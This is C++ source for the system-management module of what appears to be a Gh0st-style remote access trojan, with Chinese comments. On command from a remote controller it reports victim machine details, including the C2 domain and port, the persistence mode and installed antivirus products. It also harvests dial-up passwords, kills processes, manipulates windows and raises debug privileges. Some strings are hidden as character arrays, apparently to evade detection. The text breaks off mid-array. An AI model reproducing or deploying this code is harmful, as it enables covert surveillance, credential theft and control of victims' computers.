957 lines
26 KiB
C++
957 lines
26 KiB
C++
// SystemManager.cpp: implementation of the CSystemManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
#include "StdAfx.h"
|
||
#include "SystemManager.h"
|
||
#include "Dialupass.h"
|
||
#include <tlhelp32.h>
|
||
#include <psapi.h>
|
||
#include <iphlpapi.h>
|
||
#pragma comment(lib,"Iphlpapi.lib")
|
||
#pragma comment(lib,"Psapi.lib")
|
||
#include "../until.h"
|
||
|
||
typedef struct
|
||
{
|
||
BYTE bToken; // = 1
|
||
CHAR szCpuSpeend[32]; //cpu速度
|
||
CHAR szCpuInfo[128]; //CPU信息
|
||
CHAR szPcName[50]; //计算机名称
|
||
CHAR szUserName[32]; //用户名
|
||
CHAR szScrSize[32]; //屏幕分辨率
|
||
CHAR LineName[100]; //上线域名
|
||
CHAR LinePort[32]; //上线端口
|
||
CHAR Program[256]; //程序途径
|
||
CHAR InstallOpen[100]; //程序运行方式
|
||
CHAR szUserVirus[256]; //用户杀毒软件
|
||
DWORD Memory; //内存容量
|
||
}MESSAGEInfo;
|
||
//////////////////////////////////////////////////////////////////////
|
||
enum
|
||
{
|
||
COMMAND_MEMOEY=100, //获取CPU内存值命令
|
||
COMMAND_STOPED, //发送停止命令
|
||
TOKEN_MEMORY //服务端发送过来内存使用值
|
||
};
|
||
|
||
#define SystemBasicInformation 0
|
||
#define SystemPerformanceInformation 2
|
||
#define SystemTimeInformation 3
|
||
#define Li2Double(x) ((double)((x).HighPart) * 4.294967296E9 + (double)((x).LowPart))
|
||
typedef struct{
|
||
DWORD dwUnknown1;
|
||
ULONG uKeMaximumIncrement;
|
||
ULONG uPageSize;
|
||
ULONG uMmNumberOfPhysicalPages;
|
||
ULONG uMmLowestPhysicalPage;
|
||
ULONG uMmHighestPhysicalPage;
|
||
ULONG uAllocationGranularity;
|
||
PVOID pLowestUserAddress;
|
||
PVOID pMmHighestUserAddress;
|
||
ULONG uKeActiveProcessors;
|
||
BYTE bKeNumberProcessors;
|
||
BYTE bUnknown2;
|
||
WORD wUnknown3;
|
||
}SYSTEM_BASIC_INFORMATION;
|
||
|
||
typedef struct
|
||
{
|
||
LARGE_INTEGER liIdleTime;
|
||
DWORD dwSpare[76];
|
||
} SYSTEM_PERFORMANCE_INFORMATION;
|
||
|
||
typedef struct
|
||
{
|
||
LARGE_INTEGER liKeBootTime;
|
||
LARGE_INTEGER liKeSystemTime;
|
||
LARGE_INTEGER liEXPTimeZoneBias;
|
||
ULONG uCurrentTimeZoneId;
|
||
DWORD dwReserved;
|
||
} SYSTEM_TIME_INFORMATION;
|
||
typedef LONG (WINAPI *PROCNTQSI)(UINT,PVOID,ULONG,PULONG);
|
||
PROCNTQSI NtQuerySystemInformation;
|
||
|
||
////////////////////////////////////////////////////////////////////////////////////////////
|
||
BOOL DebugPrivilege(const char *PName,BOOL bEnable);
|
||
|
||
CSystemManager::CSystemManager(CClientSocket *pClient,UINT Ports,UCHAR Linetypes,UCHAR Opertypes,CHAR *Addressl) : CManager(pClient)
|
||
{
|
||
NetPort = Ports; //连接端口
|
||
NetLine = Linetypes; //连接方式
|
||
NetOpert = Opertypes; //运行类型
|
||
Linkaddress = Addressl; //连接地址
|
||
|
||
StopEvent=CreateEvent(NULL,false,false,NULL);
|
||
SendProcessList();
|
||
}
|
||
|
||
CSystemManager::~CSystemManager()
|
||
{
|
||
// TerminateThread( hSendMemoryThread, 0);
|
||
// CloseHandle(hSendMemoryThread);
|
||
}
|
||
|
||
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||
{
|
||
SwitchInputDesktop();
|
||
switch (lpBuffer[0])
|
||
{
|
||
case COMMAND_SYSTEMINFO:
|
||
GetSystemInfo();
|
||
break;
|
||
case COMMAND_PSLIST:
|
||
SendProcessList();
|
||
break;
|
||
case COMMAND_WSLIST:
|
||
SendWindowsList();
|
||
break;
|
||
case COMMAND_DIALUPASS: // 拨号密码
|
||
SendDialupassList();
|
||
break;
|
||
case COMMAND_TSLIST:
|
||
SendTcpList();
|
||
break;
|
||
case COMMAND_KILLPROCESS: //关闭进程
|
||
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
|
||
break;
|
||
case COMMAND_WINDOW_CLOSE: //向窗口发送关闭消息
|
||
CloseWindow(lpBuffer+1);
|
||
break;
|
||
case COMMAND_WINDOW_TEST: //最大化最小化 隐藏窗口
|
||
TestWindow(lpBuffer+1);
|
||
break;
|
||
case COMMAND_MEMOEY: //获取CPU内存使用情况
|
||
hSendMemoryThread= MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendCPUAndMemoryThread, (LPVOID)this, 0, NULL);
|
||
break;
|
||
case COMMAND_STOPED:
|
||
SetEvent(StopEvent);
|
||
break;
|
||
case COMMAND_rjLIST:
|
||
SendSoftList();
|
||
break;
|
||
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CSystemManager::SendProcessList()
|
||
{
|
||
UINT nRet = -1;
|
||
LPBYTE lpBuffer = getProcessList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
void CSystemManager::SendWindowsList()
|
||
{
|
||
UINT nRet = -1;
|
||
LPBYTE lpBuffer = getWindowsList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
void CSystemManager::SendDialupassList()
|
||
{
|
||
CDialupass pass;
|
||
|
||
int nPacketLen = 0;
|
||
int i;
|
||
for (i = 0; i < pass.GetMax(); i++)
|
||
{
|
||
COneInfo *pOneInfo = pass.GetOneInfo(i);
|
||
for (int j = 0; j < STR_MAX; j++)
|
||
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
|
||
}
|
||
|
||
nPacketLen += 1;
|
||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
|
||
|
||
DWORD dwOffset = 1;
|
||
|
||
for (i = 0; i < pass.GetMax(); i++)
|
||
{
|
||
|
||
COneInfo *pOneInfo = pass.GetOneInfo(i);
|
||
for (int j = 0; j < STR_MAX; j++)
|
||
{
|
||
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
|
||
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
|
||
dwOffset += nFieldLength;
|
||
}
|
||
}
|
||
|
||
lpBuffer[0] = TOKEN_DIALUPASS;
|
||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
|
||
}
|
||
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize) //关闭程序
|
||
{
|
||
HANDLE hProcess = NULL;
|
||
|
||
for (unsigned int i = 0; i < nSize; i += 4)
|
||
{
|
||
DWORD Ipsid = *(LPDWORD)(lpBuffer + i);
|
||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS,FALSE,Ipsid);
|
||
TerminateProcess(hProcess, 0);
|
||
CloseHandle(hProcess);
|
||
}
|
||
|
||
// 稍稍Sleep下,防止出错
|
||
Sleep(200);
|
||
// 刷新进程列表
|
||
SendProcessList();
|
||
// 刷新窗口列表
|
||
// SendWindowsList();
|
||
}
|
||
|
||
LPBYTE CSystemManager::getProcessList()
|
||
{
|
||
HANDLE hSnapshot = NULL;
|
||
HANDLE hProcess = NULL;
|
||
HMODULE hModules = NULL;
|
||
PROCESSENTRY32 pe32 = {0};
|
||
DWORD cbNeeded;
|
||
char strProcessName[MAX_PATH] = {0};
|
||
LPBYTE lpBuffer = NULL;
|
||
DWORD dwOffset = 0;
|
||
DWORD dwLength = 0;
|
||
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限
|
||
//创建系统快照
|
||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
|
||
if(hSnapshot == INVALID_HANDLE_VALUE)
|
||
return NULL;
|
||
|
||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区
|
||
|
||
lpBuffer[0] = TOKEN_PSLIST;
|
||
dwOffset = 1;
|
||
|
||
if(Process32First(hSnapshot, &pe32)) //得到第一个进程顺便判断一下系统快照是否成功
|
||
{
|
||
do
|
||
{
|
||
//打开进程并返回句柄
|
||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
|
||
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
|
||
{
|
||
//枚举第一个模块句柄也就是自身
|
||
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||
//得到自身的完整名称
|
||
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
|
||
//开始计算占用的缓冲区, 我们关心他的发送的数据结构
|
||
// 此进程占用数据大小
|
||
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
|
||
// 缓冲区太小,再重新分配下
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
|
||
//数据结构是 进程ID+进程名+0+进程完整名+0
|
||
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
|
||
dwOffset += sizeof(DWORD);
|
||
|
||
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
|
||
dwOffset += lstrlen(pe32.szExeFile) + 1;
|
||
|
||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
|
||
dwOffset += lstrlen(strProcessName) + 1;
|
||
}
|
||
CloseHandle(hProcess);//新修改
|
||
|
||
}
|
||
while(Process32Next(hSnapshot, &pe32)); //继续得到下一个快照
|
||
}
|
||
//用lpbuffer获得整个缓冲去
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
|
||
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
|
||
CloseHandle(hSnapshot); //释放句柄
|
||
return lpBuffer; //数据返回
|
||
}
|
||
|
||
BOOL DebugPrivilege(const char *PName,BOOL bEnable)
|
||
{
|
||
BOOL bResult = TRUE;
|
||
HANDLE hToken;
|
||
TOKEN_PRIVILEGES TokenPrivileges;
|
||
|
||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||
{
|
||
bResult = FALSE;
|
||
return bResult;
|
||
}
|
||
TokenPrivileges.PrivilegeCount = 1;
|
||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||
|
||
LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
|
||
|
||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||
if (GetLastError() != ERROR_SUCCESS)
|
||
{
|
||
bResult = FALSE;
|
||
}
|
||
CloseHandle(hToken);
|
||
return bResult;
|
||
}
|
||
|
||
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||
{
|
||
DWORD dwLength = 0;
|
||
DWORD dwOffset = 0;
|
||
DWORD dwProcessID = 0;
|
||
LPBYTE lpBuffer = *(LPBYTE *)lParam;
|
||
|
||
char strTitle[1024];
|
||
try
|
||
{
|
||
|
||
|
||
|
||
GetWindowText(hwnd, strTitle, sizeof(strTitle)-1);
|
||
strTitle[sizeof(strTitle)-1]=0;
|
||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||
return true;
|
||
if (lpBuffer == NULL)
|
||
{
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
|
||
dwOffset=1;
|
||
}else
|
||
{
|
||
dwOffset = LocalSize(lpBuffer);
|
||
while(*(lpBuffer + dwOffset - 2)==0) dwOffset--;
|
||
}
|
||
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
}catch (...)
|
||
{
|
||
return true;
|
||
}
|
||
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
|
||
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
|
||
|
||
*(LPBYTE *)lParam = lpBuffer;
|
||
return true;
|
||
}
|
||
|
||
/*
|
||
memset(strTitle, 0, sizeof(strTitle));
|
||
//得到系统传递进来的窗口句柄的窗口标题
|
||
GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||
//这里判断 窗口是否可见 或标题为空
|
||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||
return true;
|
||
//同进程管理一样我们注意他的发送到主控端的数据结构
|
||
|
||
if (lpBuffer == NULL)
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区
|
||
|
||
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
|
||
dwOffset = LocalSize(lpBuffer);
|
||
//重新计算缓冲区大小
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
//下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0
|
||
memcpy((lpBuffer+dwOffset),&hwnd,sizeof(DWORD));
|
||
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
|
||
|
||
*(LPBYTE *)lParam = lpBuffer;
|
||
|
||
return true;
|
||
}
|
||
|
||
*/
|
||
LPBYTE CSystemManager::getWindowsList()
|
||
{
|
||
LPBYTE lpBuffer = NULL;
|
||
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
|
||
lpBuffer[0] = TOKEN_WSLIST;
|
||
return lpBuffer;
|
||
}
|
||
|
||
//获取内存使用情况
|
||
void SendCPUAndMemoryInfo(DWORD d,LPVOID lparam)
|
||
{
|
||
CSystemManager *pThis = (CSystemManager *)lparam;
|
||
|
||
char buf[12];
|
||
ZeroMemory(buf,12);
|
||
buf[0]=TOKEN_MEMORY;
|
||
MEMORYSTATUS mem;
|
||
::GlobalMemoryStatus(&mem);
|
||
memcpy(buf+1,(void*)&mem.dwAvailPhys,sizeof(DWORD)); //内存
|
||
|
||
memcpy(buf+1+sizeof(DWORD),(void*)&d,sizeof(DWORD));
|
||
|
||
pThis->Send((unsigned char *)buf,12);
|
||
}
|
||
|
||
DWORD WINAPI CSystemManager::SendCPUAndMemoryThread(LPVOID lparam)
|
||
{
|
||
CSystemManager *pThis = (CSystemManager *)lparam;
|
||
// Sleep(3000);
|
||
SYSTEM_PERFORMANCE_INFORMATION SysPerfInfo;
|
||
SYSTEM_TIME_INFORMATION SysTimeInfo;
|
||
SYSTEM_BASIC_INFORMATION SysBaseInfo;
|
||
double dbIdleTime;
|
||
double dbSystemTime;
|
||
LONG status;
|
||
LARGE_INTEGER liOldIdleTime = {0,0};
|
||
LARGE_INTEGER liOldSystemTime = {0,0};
|
||
NtQuerySystemInformation = (PROCNTQSI)GetProcAddress(GetModuleHandle("ntdll"),"NtQuerySystemInformation");
|
||
if (!NtQuerySystemInformation)
|
||
return 0;
|
||
// get number of processors in the system
|
||
status = NtQuerySystemInformation(SystemBasicInformation,&SysBaseInfo,sizeof(SysBaseInfo),NULL);
|
||
if (status != NO_ERROR)
|
||
return 0;
|
||
//printf(" CPU Usage (press any key to exit): ");
|
||
BYTE count=0;
|
||
while(1)
|
||
{
|
||
// get new system time
|
||
status = NtQuerySystemInformation(SystemTimeInformation,&SysTimeInfo,sizeof(SysTimeInfo),0);
|
||
if (status!=NO_ERROR)
|
||
return 0;
|
||
// get new CPU's idle time
|
||
status = NtQuerySystemInformation(SystemPerformanceInformation,&SysPerfInfo,sizeof(SysPerfInfo),NULL);
|
||
if (status != NO_ERROR)
|
||
return 0;
|
||
// if it's a first call - skip it
|
||
if (liOldIdleTime.QuadPart != 0)
|
||
{
|
||
// CurrentValue = NewValue - OldValue
|
||
dbIdleTime = Li2Double(SysPerfInfo.liIdleTime) - Li2Double(liOldIdleTime);
|
||
dbSystemTime = Li2Double(SysTimeInfo.liKeSystemTime) -Li2Double(liOldSystemTime);
|
||
|
||
// CurrentCpuIdle = IdleTime / SystemTime
|
||
dbIdleTime = dbIdleTime / dbSystemTime;
|
||
// CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors
|
||
dbIdleTime = 100.0 - dbIdleTime * 100.0 /(double)SysBaseInfo.bKeNumberProcessors + 0.5;
|
||
SendCPUAndMemoryInfo((unsigned long)dbIdleTime,lparam);
|
||
}
|
||
|
||
// store new CPU's idle and system time
|
||
liOldIdleTime = SysPerfInfo.liIdleTime;
|
||
liOldSystemTime = SysTimeInfo.liKeSystemTime;
|
||
if (WaitForSingleObject(pThis->StopEvent,3000)==WAIT_OBJECT_0)
|
||
{
|
||
break;
|
||
}
|
||
}
|
||
pThis->m_pClient->Disconnect();
|
||
|
||
return true;
|
||
}
|
||
|
||
///////////////////////////////////////////杀毒显示////////////////////////////////////
|
||
|
||
|
||
typedef struct
|
||
{
|
||
char *Course;
|
||
char *Name;
|
||
}ANTIVIRUS;
|
||
|
||
ANTIVIRUS g_AntiVirus_Data[20] =
|
||
{
|
||
{"360tray.exe", "360安全卫士"},
|
||
{"360sd.exe", "360杀毒"},
|
||
{"avp.exe", "卡巴斯基"},
|
||
{"KvMonXP.exe", "江民杀毒"},
|
||
{"RavMonD.exe", "瑞星杀毒"},
|
||
{"Mcshield.exe", "麦咖啡"},
|
||
{"egui.exe", "NOD32"},
|
||
{"kxetray.exe", "金山毒霸"},
|
||
{"knsdtray.exe", "可牛杀毒"},
|
||
{"TMBMSRV.exe", "趋势杀毒"},
|
||
{"avcenter.exe", "Avira(小红伞)"},
|
||
{"ashDisp.exe", "Avast网络安全"},
|
||
{"rtvscan.exe", "诺顿杀毒"},
|
||
{"ksafe.exe", "金山卫士"},
|
||
{"QQPCRTP.exe", "QQ电脑管家"},
|
||
{" ", " "}
|
||
|
||
};
|
||
|
||
char* GetViru()
|
||
{
|
||
static char AllName[1024];
|
||
int t=0;
|
||
memset(AllName, 0, sizeof(AllName));
|
||
while(1)
|
||
{
|
||
if (strstr(g_AntiVirus_Data[t].Course, " " ) == 0 )
|
||
{
|
||
if (GetProcessID(g_AntiVirus_Data[t].Course))
|
||
{
|
||
lstrcat( AllName, g_AntiVirus_Data[t].Name);
|
||
lstrcat( AllName, " " );
|
||
}
|
||
}
|
||
else
|
||
break;
|
||
t++;
|
||
}
|
||
|
||
if (strstr(AllName, " " ) == 0 )
|
||
{
|
||
lstrcat(AllName , "未发现 ");
|
||
}
|
||
|
||
return AllName;
|
||
}
|
||
|
||
|
||
|
||
//=========================================================
|
||
BOOL GetTokenByName(HANDLE &hToken,LPSTR lpName)
|
||
{
|
||
if(!lpName)
|
||
{
|
||
return FALSE;
|
||
}
|
||
HANDLE hProcessSnap = NULL;
|
||
BOOL bRet = FALSE;
|
||
PROCESSENTRY32 pe32 = {0};
|
||
|
||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||
return (FALSE);
|
||
|
||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
if (Process32First(hProcessSnap, &pe32))
|
||
{
|
||
do
|
||
{
|
||
_strupr(pe32.szExeFile);
|
||
if(!strcmp(pe32.szExeFile,lpName))
|
||
{
|
||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,pe32.th32ProcessID);
|
||
bRet = OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
|
||
CloseHandle (hProcessSnap);
|
||
return (bRet);
|
||
}
|
||
}
|
||
while (Process32Next(hProcessSnap, &pe32));
|
||
bRet = TRUE;
|
||
}
|
||
else
|
||
bRet = FALSE;
|
||
|
||
CloseHandle (hProcessSnap);
|
||
return (bRet);
|
||
}
|
||
|
||
//=================获得当前登陆用户名及计算机名称====================
|
||
BOOL GetCurrentUserName(char szUser[],char szDomain[])
|
||
{
|
||
HANDLE hToken;
|
||
|
||
//得到shell的token
|
||
if(!GetTokenByName(hToken,"EXPLORER.EXE"))
|
||
{
|
||
return FALSE;
|
||
}
|
||
DWORD cbti = 0;
|
||
PTOKEN_USER ptiUser = NULL;
|
||
SID_NAME_USE snu;
|
||
|
||
//取得所需空间大小
|
||
if (GetTokenInformation(hToken, TokenUser, NULL, 0, &cbti))
|
||
{
|
||
CloseHandle(hToken);
|
||
return FALSE;
|
||
}
|
||
|
||
//分配空间
|
||
ptiUser = (PTOKEN_USER) HeapAlloc(GetProcessHeap(), 0, cbti);
|
||
|
||
if(!ptiUser)
|
||
{
|
||
CloseHandle(hToken);
|
||
return FALSE;
|
||
}
|
||
|
||
//取得token信息
|
||
if (!GetTokenInformation(hToken, TokenUser, ptiUser, cbti, &cbti))
|
||
{
|
||
CloseHandle(hToken);
|
||
HeapFree(GetProcessHeap(), 0, ptiUser);
|
||
return FALSE;
|
||
}
|
||
|
||
DWORD nUser = 50;
|
||
DWORD nDomain = 50;
|
||
|
||
//根据用户的sid得到用户名和domain
|
||
if (!LookupAccountSid(NULL, ptiUser->User.Sid, szUser, &nUser, szDomain, &nDomain, &snu))
|
||
{
|
||
CloseHandle(hToken);
|
||
HeapFree(GetProcessHeap(), 0, ptiUser);
|
||
return FALSE;
|
||
}
|
||
|
||
CloseHandle(hToken);
|
||
HeapFree(GetProcessHeap(), 0, ptiUser);
|
||
|
||
return TRUE;
|
||
}
|
||
void GetCurrentUserNamet(char szUser[])
|
||
{
|
||
char TszUser[50]={0};
|
||
char TszDomain[50]={0};
|
||
if(GetCurrentUserName(TszUser,TszDomain))
|
||
{
|
||
wsprintf(szUser,"%s",TszUser);
|
||
}
|
||
else
|
||
{
|
||
wsprintf(szUser,"%s","无用户登陆状态!");
|
||
}
|
||
}
|
||
|
||
void CSystemManager::NetSystem(UINT Port)
|
||
{
|
||
|
||
NetPort = Port; //连接端口
|
||
}
|
||
|
||
extern char* MyDecode(char *str);
|
||
void CSystemManager::GetSystemInfo()
|
||
{
|
||
MESSAGEInfo Infomsg;
|
||
//获取操作系统相关信息
|
||
Infomsg.bToken = TOKEN_SYSTEMINFO;
|
||
//////////////CPU Speed/////////////////
|
||
DWORD dwCpu, dwBufLen;
|
||
HKEY hKey;
|
||
char JYvni02[] = {'H','A','R','D','W','A','R','E','\\','D','E','S','C','R','I','P','T','I','O','N','\\','S','y','s','t','e','m','\\','C','e','n','t','r','a','l','P','r','o','c','e','s','s','o','r','\\','0','\0'};
|
||
RegOpenKeyEx( HKEY_LOCAL_MACHINE,
|
||
JYvni02,
|
||
0, KEY_QUERY_VALUE, &hKey );
|
||
dwBufLen = sizeof(DWORD);
|
||
RegQueryValueEx( hKey, ("~MHz"), NULL, NULL,(LPBYTE)&dwCpu, &dwBufLen);
|
||
RegCloseKey(hKey);
|
||
wsprintf(Infomsg.szCpuSpeend,("~%u MHz"), dwCpu);
|
||
//Get CPU Info===============================
|
||
CHAR SubKey[] = {'H','A','R','D','W','A','R','E','\\','D','E','S','C','R','I','P','T','I','O','N','\\','S','y','s','t','e','m','\\','C','e','n','t','r','a','l','P','r','o','c','e','s','s','o','r','\\','0','\0','\0'};
|
||
hKey = NULL;
|
||
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,SubKey,0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
|
||
{
|
||
DWORD dwType;
|
||
DWORD dwSize = 128 * sizeof(TCHAR);
|
||
char ValueSz[MAX_PATH]={0};
|
||
if(RegQueryValueEx(hKey,("ProcessorNameString"),NULL,&dwType,(BYTE *)ValueSz,&dwSize) == ERROR_SUCCESS)
|
||
strcpy(Infomsg.szCpuInfo,DelSpace(ValueSz));
|
||
RegCloseKey(hKey);
|
||
}
|
||
|
||
|
||
//Get Computer & User Name========================
|
||
DWORD dwLen = sizeof(Infomsg.szPcName);
|
||
GetComputerNameA(Infomsg.szPcName, &dwLen);
|
||
|
||
//获取当前用户名及计算机名称
|
||
GetCurrentUserNamet(Infomsg.szUserName);
|
||
|
||
//Get Screen Size=================================
|
||
|
||
//////////////////////////////////////////////////
|
||
|
||
|
||
wsprintf(Infomsg.szScrSize, ("%d * %d"), GetSystemMetrics(SM_CXSCREEN),GetSystemMetrics(SM_CYSCREEN));
|
||
|
||
// if(NetLine==0)
|
||
// wsprintf(Infomsg.LineName,"域名IP上线:%s",Linkaddress); //域名上线写入
|
||
// if(NetLine==1)
|
||
// wsprintf(Infomsg.LineName,"QQ空间上线:%s",Linkaddress); //QQ上线写入
|
||
// if(NetLine==2)
|
||
// wsprintf(Infomsg.LineName,"网盘上线:%s",Linkaddress); //网盘上线写入
|
||
char *lpszHost = NULL;
|
||
DWORD dwPort = 80;
|
||
lpszHost = Linkaddress;
|
||
dwPort = NetPort;
|
||
char Linkaddress[MAX_PATH]={0};
|
||
char strTMPTime[MAX_PATH]={0};
|
||
char strTMPHostB[MAX_PATH]={0};
|
||
// wsprintf(strTMPHostA, "%s","域名上线");
|
||
wsprintf(Infomsg.LineName,"域名IP上线:%s",lpszHost); //域名上线写入
|
||
|
||
wsprintf(Infomsg.LinePort,"%d",NetPort); //上线端口写入
|
||
|
||
char szbuf[256];
|
||
GetModuleFileName(NULL,szbuf,MAX_PATH); //用于获取程序本身路径
|
||
|
||
wsprintf(Infomsg.Program,"%s",szbuf );
|
||
|
||
if(NetOpert==0) //绿色一次性运行
|
||
{
|
||
wsprintf(Infomsg.InstallOpen,"%s","(绿色运行模式)--重启不上线!"); //上线运行方式
|
||
}
|
||
else if(NetOpert==1) // 服务启动运行
|
||
{
|
||
wsprintf(Infomsg.InstallOpen,"%s","(服务启动模式)--SYSTEM用户运行!"); //上线运行方式
|
||
}
|
||
else if(NetOpert==2) // 直接启动运行
|
||
{
|
||
wsprintf(Infomsg.InstallOpen,"%s","(Run启动模式)--当前用户运行!"); //上线运行方式
|
||
}
|
||
|
||
|
||
wsprintf(Infomsg.szUserVirus,"%s",GetViru()); //杀毒软件
|
||
|
||
//内存大小
|
||
MEMORYSTATUSEX MemInfo; //用GlobalMemoryStatusEx可显示2G以上内存
|
||
MemInfo.dwLength=sizeof(MemInfo);
|
||
GlobalMemoryStatusEx(&MemInfo);
|
||
Infomsg.Memory = (unsigned long)MemInfo.ullTotalPhys/1024/1024;
|
||
|
||
Send((LPBYTE)&Infomsg, sizeof(MESSAGEInfo));
|
||
}
|
||
|
||
void CSystemManager::CloseWindow(LPBYTE buf)
|
||
{
|
||
DWORD hwnd;
|
||
memcpy(&hwnd,buf,sizeof(DWORD)); //得到窗口句柄
|
||
::PostMessage((HWND__ *)hwnd,WM_CLOSE,0,0); //向窗口发送关闭消息
|
||
|
||
Sleep(200);
|
||
SendWindowsList(); //窗口显示刷新
|
||
}
|
||
|
||
void CSystemManager::TestWindow(LPBYTE buf)
|
||
{
|
||
DWORD hwnd;
|
||
DWORD dHow;
|
||
memcpy((void*)&hwnd,buf,sizeof(DWORD)); //得到窗口句柄
|
||
memcpy(&dHow,buf+sizeof(DWORD),sizeof(DWORD)); //得到窗口处理参数
|
||
ShowWindow((HWND__ *)hwnd,dHow);
|
||
}
|
||
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
|
||
{
|
||
typedef BOOL (WINAPI *GetLastErrorT)
|
||
(
|
||
VOID
|
||
);
|
||
char FhTZBW[] = {'G','e','t','L','a','s','t','E','r','r','o','r','\0'};
|
||
GetLastErrorT pGetLastError = (GetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FhTZBW);
|
||
|
||
|
||
BOOL bResult = TRUE;
|
||
HANDLE hToken;
|
||
TOKEN_PRIVILEGES TokenPrivileges;
|
||
|
||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||
{
|
||
bResult = FALSE;
|
||
return bResult;
|
||
}
|
||
TokenPrivileges.PrivilegeCount = 1;
|
||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||
|
||
LookupPrivilegeValueA(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
|
||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||
if (pGetLastError() != ERROR_SUCCESS)
|
||
{
|
||
bResult = FALSE;
|
||
}
|
||
|
||
CloseHandle(hToken);
|
||
return bResult;
|
||
}
|
||
void CSystemManager::SendTcpList()
|
||
{
|
||
UINT nRet = -1;
|
||
LPBYTE lpBuffer = getTcpList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
|
||
}
|
||
|
||
//TCP 端口状态.
|
||
static char TcpState[][32] =
|
||
{
|
||
"???",
|
||
"CLOSED",
|
||
"LISTEN",
|
||
"SYN_SENT",
|
||
